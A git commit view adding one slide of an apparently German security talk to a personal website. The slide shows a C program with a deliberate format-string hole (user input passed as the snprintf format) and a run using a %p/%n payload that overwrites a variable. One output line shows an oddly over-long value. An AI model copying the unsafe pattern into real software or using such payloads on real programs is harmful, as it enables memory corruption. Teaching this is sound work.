summaryrefslogtreecommitdiff
path: root/stories/poetry/MeinVortrag/16.html
diff options
context:
space:
mode:
authorerdgeist <erdgeist@bauklotz.local>2015-08-16 16:38:25 +0200
committererdgeist <erdgeist@bauklotz.local>2015-08-16 16:38:25 +0200
commit23f0e1561767dd8a396188e317bae5920d171ea8 (patch)
treea67f44e39ad8a45e42d60634488a65c37f3ad432 /stories/poetry/MeinVortrag/16.html
Initial import of my nikola website
Diffstat (limited to 'stories/poetry/MeinVortrag/16.html')
-rw-r--r--stories/poetry/MeinVortrag/16.html25
1 files changed, 25 insertions, 0 deletions
diff --git a/stories/poetry/MeinVortrag/16.html b/stories/poetry/MeinVortrag/16.html
new file mode 100644
index 0000000..0644083
--- /dev/null
+++ b/stories/poetry/MeinVortrag/16.html
@@ -0,0 +1,25 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="15.html">&lt;-</A><A HREF="17.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17
18# ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p"
19test auf: 0xbfbff6c0
20test enthaelt: 0x2323232323
21
22Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
230x68acf04 0x2805a3a8 0x62317830 0x64356666
24test enthaelt: 0x42
25</PRE></H1></BODY></HTML>